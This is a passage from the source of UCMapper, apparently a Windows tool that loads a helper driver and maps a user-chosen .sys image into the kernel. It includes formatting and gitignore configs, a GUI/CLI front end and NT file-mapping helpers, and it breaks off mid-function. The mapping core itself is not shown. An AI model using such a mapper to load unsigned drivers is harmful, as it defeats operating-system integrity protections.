| CommentPragmas: "^ IWYU pragma:" 85 | CompactNamespaces: false 86 | ConstructorInitializerIndentWidth: 2 87 | ContinuationIndentWidth: 4 88 | Cpp11BracedListStyle: true 89 | DerivePointerAlignment: false 90 | DisableFormat: false 91 | EmptyLineAfterAccessModifier: Always 92 | EmptyLineBeforeAccessModifier: LogicalBlock 93 | ExperimentalAutoDetectBinPacking: false 94 | FixNamespaceComments: true 95 | ForEachMacros: 96 | - foreach 97 | - Q_FOREACH 98 | - BOOST_FOREACH 99 | IfMacros: 100 | - KJ_IF_MAYBE 101 | IncludeBlocks: Preserve 102 | IncludeCategories: 103 | - Regex: ^"(llvm|llvm-c|clang|clang-c)/ 104 | Priority: 2 105 | SortPriority: 0 106 | CaseSensitive: false 107 | - Regex: ^(<|"(gtest|gmock|isl|json)/) 108 | Priority: 3 109 | SortPriority: 0 110 | CaseSensitive: false 111 | - Regex: .* 112 | Priority: 1 113 | SortPriority: 0 114 | CaseSensitive: false 115 | IncludeIsMainRegex: (Test)?$ 116 | IncludeIsMainSourceRegex: "" 117 | IndentAccessModifiers: false 118 | IndentCaseBlocks: false 119 | IndentCaseLabels: false 120 | IndentExternBlock: NoIndent 121 | IndentGotoLabels: true 122 | IndentPPDirectives: None 123 | IndentRequiresClause: false 124 | IndentWidth: 4 125 | IndentWrappedFunctionNames: false 126 | InsertBraces: false 127 | InsertNewlineAtEOF: true 128 | InsertTrailingCommas: None 129 | IntegerLiteralSeparator: 130 | Binary: 0 131 | BinaryMinDigits: 0 132 | Decimal: 0 133 | DecimalMinDigits: 0 134 | Hex: 0 135 | HexMinDigits: 0 136 | JavaScriptQuotes: Leave 137 | JavaScriptWrapImports: false 138 | KeepEmptyLinesAtTheStartOfBlocks: false 139 | LambdaBodyIndentation: Signature 140 | Language: Cpp 141 | LineEnding: DeriveCRLF 142 | MacroBlockBegin: "" 143 | MacroBlockEnd: "" 144 | MaxEmptyLinesToKeep: 2 145 | NamespaceIndentation: None 146 | ObjCBinPackProtocolList: Auto 147 | ObjCBlockIndentWidth: 2 148 | ObjCBreakBeforeNestedBlockParam: false 149 | ObjCSpaceAfterProperty: false 150 | ObjCSpaceBeforeProtocolList: false 151 | PPIndentWidth: -1 152 | PackConstructorInitializers: Never 153 | PenaltyBreakAssignment: 2 154 | PenaltyBreakBeforeFirstCallParameter: 19 155 | PenaltyBreakComment: 300 156 | PenaltyBreakFirstLessLess: 120 157 | PenaltyBreakOpenParenthesis: 0 158 | PenaltyBreakString: 1000 159 | PenaltyBreakTemplateDeclaration: 10 160 | PenaltyExcessCharacter: 1000000 161 | PenaltyIndentedWhitespace: 0 162 | PenaltyReturnTypeOnItsOwnLine: 1000 163 | PointerAlignment: Left 164 | QualifierAlignment: Left 165 | ReferenceAlignment: Pointer 166 | ReflowComments: false 167 | RemoveBracesLLVM: false 168 | RemoveSemicolon: false 169 | RequiresClausePosition: WithPreceding 170 | RequiresExpressionIndentation: OuterScope 171 | SeparateDefinitionBlocks: Always 172 | ShortNamespaceLines: 0 173 | SortIncludes: Never 174 | SortJavaStaticImport: Before 175 | SortUsingDeclarations: LexicographicNumeric 176 | SpaceAfterCStyleCast: false 177 | SpaceAfterLogicalNot: false 178 | SpaceAfterTemplateKeyword: false 179 | SpaceAroundPointerQualifiers: Before 180 | SpaceBeforeAssignmentOperators: true 181 | SpaceBeforeCaseColon: false 182 | SpaceBeforeCpp11BracedList: false 183 | SpaceBeforeCtorInitializerColon: false 184 | SpaceBeforeInheritanceColon: false 185 | SpaceBeforeParens: ControlStatements 186 | SpaceBeforeParensOptions: 187 | AfterControlStatements: true 188 | AfterForeachMacros: true 189 | AfterFunctionDeclarationName: false 190 | AfterFunctionDefinitionName: false 191 | AfterIfMacros: true 192 | AfterOverloadedOperator: false 193 | AfterRequiresInClause: false 194 | AfterRequiresInExpression: false 195 | BeforeNonEmptyParentheses: false 196 | SpaceBeforeRangeBasedForLoopColon: true 197 | SpaceBeforeSquareBrackets: false 198 | SpaceInEmptyBlock: false 199 | SpaceInEmptyParentheses: false 200 | SpacesBeforeTrailingComments: 1 201 | SpacesInAngles: Never 202 | SpacesInCStyleCastParentheses: false 203 | SpacesInConditionalStatement: false 204 | SpacesInContainerLiterals: false 205 | SpacesInLineCommentPrefix: 206 | Minimum: 1 207 | Maximum: -1 208 | SpacesInParentheses: false 209 | SpacesInSquareBrackets: false 210 | Standard: Latest 211 | StatementAttributeLikeMacros: 212 | - Q_EMIT 213 | StatementMacros: 214 | - Q_UNUSED 215 | - QT_REQUIRE_VERSION 216 | TabWidth: 4 217 | UseTab: Never 218 | WhitespaceSensitiveMacros: 219 | - BOOST_PP_STRINGIZE 220 | - CF_SWIFT_NAME 221 | - NS_SWIFT_NAME 222 | - PP_STRINGIZE 223 | - STRINGIZE 224 | AllowAllConstructorInitializersOnNextLine: true 225 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Oo]ut/ 33 | [Ll]og/ 34 | [Ll]ogs/ 35 | 36 | # Visual Studio 2015/2017 cache/options directory 37 | .vs/ 38 | # Uncomment if you have tasks that create the project's static files in wwwroot 39 | #wwwroot/ 40 | 41 | # Visual Studio 2017 auto generated files 42 | Generated\ Files/ 43 | 44 | # MSTest test Results 45 | [Tt]est[Rr]esult*/ 46 | [Bb]uild[Ll]og.* 47 | 48 | # NUnit 49 | *.VisualState.xml 50 | TestResult.xml 51 | nunit-*.xml 52 | 53 | # Build Results of an ATL Project 54 | [Dd]ebugPS/ 55 | [Rr]eleasePS/ 56 | dlldata.c 57 | 58 | # Benchmark Results 59 | BenchmarkDotNet.Artifacts/ 60 | 61 | # .NET Core 62 | project.lock.json 63 | project.fragment.lock.json 64 | artifacts/ 65 | 66 | # ASP.NET Scaffolding 67 | ScaffoldingReadMe.txt 68 | 69 | # StyleCop 70 | StyleCopReport.xml 71 | 72 | # Files built by Visual Studio 73 | *_i.c 74 | *_p.c 75 | *_h.h 76 | *.ilk 77 | *.meta 78 | *.obj 79 | *.iobj 80 | *.pch 81 | *.pdb 82 | *.ipdb 83 | *.pgc 84 | *.pgd 85 | *.rsp 86 | *.sbr 87 | *.tlb 88 | *.tli 89 | *.tlh 90 | *.tmp 91 | *.tmp_proj 92 | *_wpftmp.csproj 93 | *.log 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx/ 211 | *.build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf/ 215 | rcf/ 216 | 217 | # Windows Store app package directories and files 218 | AppPackages/ 219 | BundleArtifacts/ 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | *.appx 223 | *.appxbundle 224 | *.appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | *.[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !?*.[Cc]ache/ 231 | 232 | # Others 233 | ClientBin/ 234 | ~$* 235 | *~ 236 | *.dbmdl 237 | *.dbproj.schemaview 238 | *.jfm 239 | *.pfx 240 | *.publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 245 | #*.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 249 | #bower_components/ 250 | 251 | # RIA/Silverlight projects 252 | Generated_Code/ 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio LightSwitch build output 298 | **/*.HTMLClient/GeneratedArtifacts 299 | **/*.DesktopClient/GeneratedArtifacts 300 | **/*.DesktopClient/ModelManifest.xml 301 | **/*.Server/GeneratedArtifacts 302 | **/*.Server/ModelManifest.xml 303 | _Pvt_Extensions 304 | 305 | # Paket dependency manager 306 | .paket/paket.exe 307 | paket-files/ 308 | 309 | # FAKE - F# Make 310 | .fake/ 311 | 312 | # CodeRush personal settings 313 | .cr/personal 314 | 315 | # Python Tools for Visual Studio (PTVS) 316 | __pycache__/ 317 | *.pyc 318 | 319 | # Cake - Uncomment if you are using it 320 | # tools/** 321 | # !tools/packages.config 322 | 323 | # Tabs Studio 324 | *.tss 325 | 326 | # Telerik's JustMock configuration file 327 | *.jmconfig 328 | 329 | # BizTalk build output 330 | *.btp.cs 331 | *.btm.cs 332 | *.odx.cs 333 | *.xsd.cs 334 | 335 | # OpenCover UI analysis results 336 | OpenCover/ 337 | 338 | # Azure Stream Analytics local run output 339 | ASALocalRun/ 340 | 341 | # MSBuild Binary and Structured Log 342 | *.binlog 343 | 344 | # NVidia Nsight GPU debugger configuration file 345 | *.nvuser 346 | 347 | # MFractors (Xamarin productivity tool) working folder 348 | .mfractor/ 349 | 350 | # Local History for Visual Studio 351 | .localhistory/ 352 | 353 | # BeatPulse healthcheck temp database 354 | healthchecksdb 355 | 356 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 357 | MigrationBackup/ 358 | 359 | # Ionide (cross platform F# VS Code tools) working folder 360 | .ionide/ 361 | 362 | # Fody - auto-generated XML schema 363 | FodyWeavers.xsd -------------------------------------------------------------------------------- /UCMapper/main.c: -------------------------------------------------------------------------------- 1 | #include "main.h" 2 | 3 | int __cdecl wmain(_In_ int argc, _In_ wchar_t** argv) 4 | { 5 | NTSTATUS Status; 6 | PVOID ImageBase; 7 | SIZE_T ImageSize; 8 | LPWSTR DriverPath; 9 | DEVICE_DRIVER_OBJECT Driver; 10 | 11 | if (argc != 2) { 12 | Status = STATUS_INVALID_PARAMETER; 13 | DEBUG_PRINT_NTSTATUS(Status); 14 | DEBUG_PRINT("[!] invalid arguments.\r\n\t%ws \r\n", argv[0]); 15 | return Status; 16 | } 17 | 18 | // 19 | // Map File as Image. 20 | // 21 | DriverPath = argv[1]; 22 | Status = RtlFileMapImage(DriverPath, &ImageBase, &ImageSize); 23 | if NT_ERROR (Status) { 24 | DEBUG_PRINT_NTSTATUS(Status); 25 | return Status; 26 | } 27 | 28 | // 29 | // Load driver and map image. 30 | // 31 | Status = LoadDriver(&Driver); 32 | if NT_SUCCESS (Status) { 33 | Status = MmLoadSystemImage(&Driver, ImageBase); 34 | DEBUG_PRINT("[+] Mapping result: 0x%08X.", Status); 35 | UnloadDriver(&Driver); 36 | } 37 | 38 | RtlFileUnmap(ImageBase); 39 | return Status; 40 | } 41 | 42 | LRESULT CALLBACK MainProcedure(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) 43 | { 44 | switch (message) { 45 | case WM_INITDIALOG: { 46 | Button_SetElevationRequiredState(GetDlgItem(hWnd, IDC_MAP), TRUE); 47 | // Place the window in the center of screen. 48 | RECT WindowRect; 49 | if (GetWindowRect(hWnd, &WindowRect)) { 50 | POINT Position; 51 | Position.x = GetSystemMetrics(SM_CXSCREEN) / 2; 52 | Position.y = GetSystemMetrics(SM_CYSCREEN) / 2; 53 | Position.x -= (WindowRect.right - WindowRect.left) / 2; 54 | Position.y -= (WindowRect.bottom - WindowRect.top) / 2; 55 | SetWindowPos(hWnd, HWND_TOP, Position.x, Position.y, 0, 0, SWP_NOSIZE); 56 | } 57 | 58 | return TRUE; 59 | } 60 | case WM_COMMAND: { 61 | WORD wmId = LOWORD(wParam); 62 | WORD wmEvent = HIWORD(wParam); 63 | 64 | // Parse the menu selections: 65 | if (wmEvent == BN_CLICKED) { 66 | switch (wmId) { 67 | case IDC_BROWSE: { 68 | OPENFILENAME ofn; 69 | TCHAR szFile[260] = {0}; 70 | 71 | // Inisialisasi struktur OPENFILENAME 72 | ZeroMemory(&ofn, sizeof(ofn)); 73 | ofn.lStructSize = sizeof(ofn); 74 | ofn.lpstrFile = szFile; 75 | ofn.lpstrFile[0] = '\0'; 76 | ofn.nMaxFile = sizeof(szFile); 77 | ofn.lpstrFilter = TEXT("Driver Files (*.sys)\0*.sys\0All Files (*.*)\0*.*\0"); 78 | ofn.nFilterIndex = 1; 79 | ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST; 80 | 81 | // Membuka dialog pemilihan file 82 | if (GetOpenFileName(&ofn) == TRUE) { 83 | // File dipilih, lakukan sesuatu dengan file tersebut 84 | SetWindowText(GetDlgItem(hWnd, IDC_EDIT), szFile); 85 | } 86 | return TRUE; 87 | } break; 88 | 89 | case IDC_MAP: { 90 | NTSTATUS Status; 91 | WCHAR DriverPath[MAX_PATH] = {L'\0'}; 92 | PVOID ImageBase; 93 | SIZE_T ImageSize; 94 | DEVICE_DRIVER_OBJECT Driver; 95 | 96 | GetWindowTextW(GetDlgItem(hWnd, IDC_EDIT), DriverPath, MAX_PATH); 97 | 98 | Status = RtlFileMapImage(DriverPath, &ImageBase, &ImageSize); 99 | if NT_ERROR (Status) { 100 | MsgBoxFormat("Error: 0x%08X", Status); 101 | return NT_SUCCESS(Status); 102 | } 103 | 104 | // 105 | // Load driver and map image. 106 | // 107 | Status = LoadDriver(&Driver); 108 | if NT_SUCCESS (Status) { 109 | Status = MmLoadSystemImage(&Driver, ImageBase); 110 | MsgBoxFormat("Mapping result: 0x%08X.", Status); 111 | UnloadDriver(&Driver); 112 | } 113 | 114 | RtlFileUnmap(ImageBase); 115 | return NT_SUCCESS(Status); 116 | } break; 117 | 118 | default: 119 | break; 120 | } 121 | } 122 | break; 123 | } break; 124 | 125 | case WM_CLOSE: 126 | case WM_DESTROY: 127 | EndDialog(hWnd, 0); 128 | break; 129 | default: 130 | 131 | break; 132 | } 133 | 134 | return FALSE; 135 | } 136 | 137 | LRESULT CALLBACK InitProcedure(HWND hwndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam) 138 | { 139 | switch (uMsg) { 140 | case WM_CREATE: 141 | break; 142 | 143 | case WM_DESTROY: { 144 | DestroyWindow(hwndDlg); 145 | PostQuitMessage(0); 146 | break; 147 | } 148 | 149 | break; 150 | default: 151 | 152 | return DefWindowProc(hwndDlg, uMsg, wParam, lParam); 153 | } 154 | 155 | return FALSE; 156 | } 157 | 158 | ATOM APIENTRY RegisterWindow(_In_ HINSTANCE hInstance) 159 | { 160 | WNDCLASSEX wcex; 161 | ZeroMemory(&wcex, sizeof(WNDCLASSEX)); 162 | wcex.cbSize = sizeof(WNDCLASSEX); 163 | wcex.style = CS_HREDRAW | CS_VREDRAW; 164 | wcex.lpfnWndProc = InitProcedure; 165 | wcex.cbClsExtra = 0; 166 | wcex.cbWndExtra = 0; 167 | wcex.hInstance = hInstance; 168 | wcex.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDC_ICON)); 169 | wcex.hCursor = LoadCursor(NULL, IDC_ARROW); 170 | wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1); 171 | wcex.lpszClassName = L"UCMapper"; 172 | wcex.hIconSm = LoadIcon(hInstance, MAKEINTRESOURCE(IDC_ICON)); 173 | // wcex.lpszMenuName = MAKEINTRESOURCEW(IDI_MENU); 174 | return RegisterClassEx(&wcex); 175 | } 176 | 177 | BOOL APIENTRY CreateInstance(_In_ HINSTANCE hInstance, _Out_ HANDLE* Mutex, _Out_ HWND* hWnd) 178 | { 179 | *hWnd = NULL; 180 | *Mutex = NULL; // Initialize Mutex to NULL 181 | 182 | *Mutex = CreateMutex(NULL, TRUE, L"UCMapper"); 183 | if (GetLastError() == ERROR_ALREADY_EXISTS || *Mutex == INVALID_HANDLE_VALUE 184 | || *Mutex == NULL) { 185 | MessageBox(NULL, L"Program is already running.", L"Error", MB_ICONERROR); 186 | if (*Mutex) 187 | CloseHandle(*Mutex); 188 | 189 | return FALSE; 190 | } 191 | 192 | HRESULT hr = CoInitialize(NULL); 193 | if (FAILED(hr)) { 194 | MessageBox(NULL, L"Error initializing Common Control.", L"Error", MB_ICONERROR); 195 | CoUninitialize(); 196 | if (*Mutex) { 197 | CloseHandle(*Mutex); 198 | *Mutex = NULL; // Set Mutex to NULL after closing the handle 199 | } 200 | 201 | return FALSE; 202 | } 203 | 204 | RegisterWindow(hInstance); 205 | *hWnd = CreateWindow( 206 | L"UCMapper", 207 | L"UCMapper", 208 | WS_SYSMENU, 209 | CW_USEDEFAULT, 210 | 0, 211 | 0, 212 | 0, 213 | NULL, 214 | NULL, 215 | hInstance, 216 | NULL); 217 | 218 | if (!*hWnd) { 219 | MessageBox(NULL, L"Failed to creating window.", L"Error", MB_ICONERROR); 220 | CoUninitialize(); 221 | if (*Mutex) { 222 | CloseHandle(*Mutex); 223 | *Mutex = NULL; // Set Mutex to NULL after closing the handle 224 | } 225 | UnregisterClass(L"UCMapper", hInstance); 226 | 227 | return FALSE; 228 | } 229 | 230 | return TRUE; 231 | } 232 | 233 | BOOL APIENTRY wWinMain( 234 | _In_ HINSTANCE hInstance, 235 | _In_opt_ HINSTANCE hPrevInstance, 236 | _In_ LPWSTR pCmdLine, 237 | _In_ int nCmdShow) 238 | { 239 | UNREFERENCED_PARAMETER(hInstance); 240 | UNREFERENCED_PARAMETER(hPrevInstance); 241 | UNREFERENCED_PARAMETER(pCmdLine); 242 | UNREFERENCED_PARAMETER(nCmdShow); 243 | 244 | int result = 0; 245 | int argc; 246 | LPWSTR* argv = CommandLineToArgvW(GetCommandLineW(), &argc); 247 | if (NULL != argv) { 248 | if (argc == 2) { 249 | result = wmain(argc, argv); 250 | } 251 | LocalFree(argv); 252 | } 253 | 254 | if (nCmdShow != SW_HIDE) { 255 | HWND MainWindow; 256 | HANDLE Mutex; 257 | if (CreateInstance(hInstance, &Mutex, &MainWindow)) { 258 | result = (int) 259 | DialogBox(hInstance, MAKEINTRESOURCE(IDD_DIALOG1), MainWindow, MainProcedure); 260 | } 261 | 262 | if (Mutex) { 263 | CloseHandle(Mutex); 264 | Mutex = NULL; 265 | } 266 | 267 | UnregisterClass(L"UCMapper", hInstance); 268 | if (MainWindow) { 269 | DestroyWindow(MainWindow); 270 | MainWindow = NULL; 271 | } 272 | } 273 | 274 | return result; 275 | } 276 | -------------------------------------------------------------------------------- /UCMapper/filerw.c: -------------------------------------------------------------------------------- 1 | #include "main.h" 2 | 3 | NTSTATUS RtlFileRead(_In_ LPCWSTR Source, _Out_ PVOID* Buffer, _Out_ PSIZE_T FileSize) 4 | { 5 | NTSTATUS Status; 6 | HANDLE FileHandle; 7 | IO_STATUS_BLOCK IoStatus; 8 | OBJECT_ATTRIBUTES ObjectAttributes; 9 | UNICODE_STRING UnicodeString; 10 | FILE_STANDARD_INFORMATION FileInformation = {0}; 11 | PVOID Allocation; 12 | LARGE_INTEGER FileOffsets; 13 | 14 | *Buffer = NULL; 15 | *FileSize = 0; 16 | FileOffsets.QuadPart = 0; 17 | 18 | if (Source[0] == L'\\') 19 | RtlInitUnicodeString(&UnicodeString, Source); 20 | else 21 | RtlDosPathNameToNtPathName_U(Source, &UnicodeString, NULL, NULL); 22 | 23 | InitializeObjectAttributes(&ObjectAttributes, &UnicodeString, OBJ_CASE_INSENSITIVE, NULL, NULL); 24 | Status = NtOpenFile( 25 | &FileHandle, 26 | FILE_GENERIC_READ, 27 | &ObjectAttributes, 28 | &IoStatus, 29 | FILE_SHARE_READ, 30 | FILE_NON_DIRECTORY_FILE); 31 | 32 | if (Source[0] != L'\\') 33 | RtlFreeUnicodeString(&UnicodeString); 34 | 35 | if NT_ERROR (Status) { 36 | DEBUG_PRINT_NTSTATUS(Status); 37 | return Status; 38 | } 39 | 40 | Status = NtQueryInformationFile( 41 | FileHandle, 42 | &IoStatus, 43 | &FileInformation, 44 | sizeof(FileInformation), 45 | FileStandardInformation); 46 | 47 | if NT_ERROR (Status) { 48 | NtClose(FileHandle); 49 | 50 | DEBUG_PRINT_NTSTATUS(Status); 51 | return Status; 52 | } 53 | 54 | Allocation = RtlAllocateMemory(FileInformation.EndOfFile.QuadPart); 55 | Status = NtReadFile( 56 | FileHandle, 57 | NULL, 58 | NULL, 59 | NULL, 60 | &IoStatus, 61 | Allocation, 62 | FileInformation.EndOfFile.LowPart, 63 | &FileOffsets, 64 | NULL); 65 | 66 | if (Status == STATUS_PENDING) { 67 | Status = NtWaitForSingleObject(FileHandle, FALSE, NULL); 68 | if NT_SUCCESS (Status) 69 | Status = IoStatus.Status; 70 | } 71 | 72 | if NT_ERROR (Status) { 73 | NtClose(FileHandle); 74 | RtlFreeMemory(Allocation); 75 | 76 | DEBUG_PRINT_NTSTATUS(Status); 77 | return Status; 78 | } 79 | 80 | *FileSize = FileInformation.EndOfFile.QuadPart; 81 | *Buffer = Allocation; 82 | 83 | Status = NtClose(FileHandle); 84 | return Status; 85 | } 86 | 87 | NTSTATUS RtlFileWrite( 88 | _In_ LPCWSTR Destination, 89 | _In_reads_bytes_(BufferLength) PVOID Buffer, 90 | _In_ SIZE_T BufferLength) 91 | { 92 | UNICODE_STRING UnicodeString; 93 | OBJECT_ATTRIBUTES ObjectAttributes; 94 | NTSTATUS Status; 95 | HANDLE FileHandle; 96 | IO_STATUS_BLOCK IoStatusBlock; 97 | LARGE_INTEGER FileSize; 98 | LARGE_INTEGER FileOffsets; 99 | 100 | FileSize.QuadPart = BufferLength; 101 | FileOffsets.QuadPart = 0; 102 | 103 | if (Destination[0] == L'\\') 104 | RtlInitUnicodeString(&UnicodeString, Destination); 105 | else 106 | RtlDosPathNameToNtPathName_U(Destination, &UnicodeString, NULL, NULL); 107 | 108 | InitializeObjectAttributes(&ObjectAttributes, &UnicodeString, OBJ_CASE_INSENSITIVE, NULL, NULL); 109 | Status = NtCreateFile( 110 | &FileHandle, 111 | FILE_ALL_ACCESS, 112 | &ObjectAttributes, 113 | &IoStatusBlock, 114 | NULL, 115 | FILE_ATTRIBUTE_NORMAL, 116 | FILE_SHARE_READ | FILE_SHARE_DELETE | FILE_SHARE_WRITE, 117 | FILE_SUPERSEDE, 118 | FILE_NON_DIRECTORY_FILE, 119 | NULL, 120 | 0); 121 | 122 | if (Destination[0] != L'\\') 123 | RtlFreeUnicodeString(&UnicodeString); 124 | 125 | if NT_ERROR (Status) { 126 | DEBUG_PRINT_NTSTATUS(Status); 127 | return Status; 128 | } 129 | 130 | Status = NtWriteFile( 131 | FileHandle, 132 | NULL, 133 | NULL, 134 | NULL, 135 | &IoStatusBlock, 136 | Buffer, 137 | FileSize.LowPart, 138 | &FileOffsets, 139 | NULL); 140 | 141 | if (Status == STATUS_PENDING) { 142 | Status = NtWaitForSingleObject(FileHandle, FALSE, NULL); 143 | if NT_SUCCESS (Status) 144 | Status = IoStatusBlock.Status; 145 | } 146 | 147 | if NT_ERROR (Status) { 148 | DEBUG_PRINT_NTSTATUS(Status); 149 | NtClose(FileHandle); 150 | return Status; 151 | } 152 | 153 | Status = NtClose(FileHandle); 154 | return Status; 155 | } 156 | 157 | NTSTATUS RtlFileMap(_In_ LPCWSTR Source, _Out_ PVOID* BaseAddress, _Out_ PSIZE_T ViewSize) 158 | { 159 | NTSTATUS Status; 160 | UNICODE_STRING UnicodeString; 161 | OBJECT_ATTRIBUTES ObjectAttributes; 162 | HANDLE FileHandle; 163 | HANDLE SectionHandle; 164 | IO_STATUS_BLOCK IoStatus; 165 | 166 | *BaseAddress = NULL; 167 | *ViewSize = 0; 168 | 169 | if (Source[0] == L'\\') 170 | RtlInitUnicodeString(&UnicodeString, Source); 171 | else 172 | RtlDosPathNameToNtPathName_U(Source, &UnicodeString, NULL, NULL); 173 | 174 | InitializeObjectAttributes(&ObjectAttributes, &UnicodeString, OBJ_CASE_INSENSITIVE, NULL, NULL); 175 | Status = NtOpenFile( 176 | &FileHandle, 177 | SECTION_ALL_ACCESS, 178 | &ObjectAttributes, 179 | &IoStatus, 180 | FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, 181 | FILE_NON_DIRECTORY_FILE); 182 | 183 | if (Source[0] != L'\\') 184 | RtlFreeUnicodeString(&UnicodeString); 185 | 186 | if NT_ERROR (Status) { 187 | DEBUG_PRINT_NTSTATUS(Status); 188 | return Status; 189 | } 190 | 191 | InitializeObjectAttributes(&ObjectAttributes, NULL, (OBJ_CASE_INSENSITIVE), NULL, NULL); 192 | Status = NtCreateSection( 193 | &SectionHandle, 194 | SECTION_ALL_ACCESS, 195 | &ObjectAttributes, 196 | (PLARGE_INTEGER)NULL, 197 | PAGE_READWRITE, 198 | SEC_RESERVE, 199 | FileHandle); 200 | 201 | if NT_ERROR (Status) { 202 | NtClose(FileHandle); 203 | DEBUG_PRINT_NTSTATUS(Status); 204 | return Status; 205 | } 206 | 207 | 208 | Status = NtMapViewOfSection( 209 | SectionHandle, 210 | NtCurrentProcess(), 211 | BaseAddress, 212 | 0, 213 | 0, 214 | NULL, 215 | ViewSize, 216 | ViewUnmap, 217 | 0, 218 | PAGE_READWRITE); 219 | 220 | NtClose(SectionHandle); 221 | NtClose(FileHandle); 222 | if NT_ERROR (Status) { 223 | *BaseAddress = NULL; 224 | *ViewSize = 0; 225 | 226 | DEBUG_PRINT_NTSTATUS(Status); 227 | return Status; 228 | } 229 | 230 | return Status; 231 | } 232 | 233 | NTSTATUS RtlFileMapImage(_In_ LPCWSTR Source, _Out_ PVOID* BaseAddress, _Out_ PSIZE_T ViewSize) 234 | { 235 | NTSTATUS Status; 236 | UNICODE_STRING UnicodeString; 237 | OBJECT_ATTRIBUTES ObjectAttributes; 238 | HANDLE FileHandle; 239 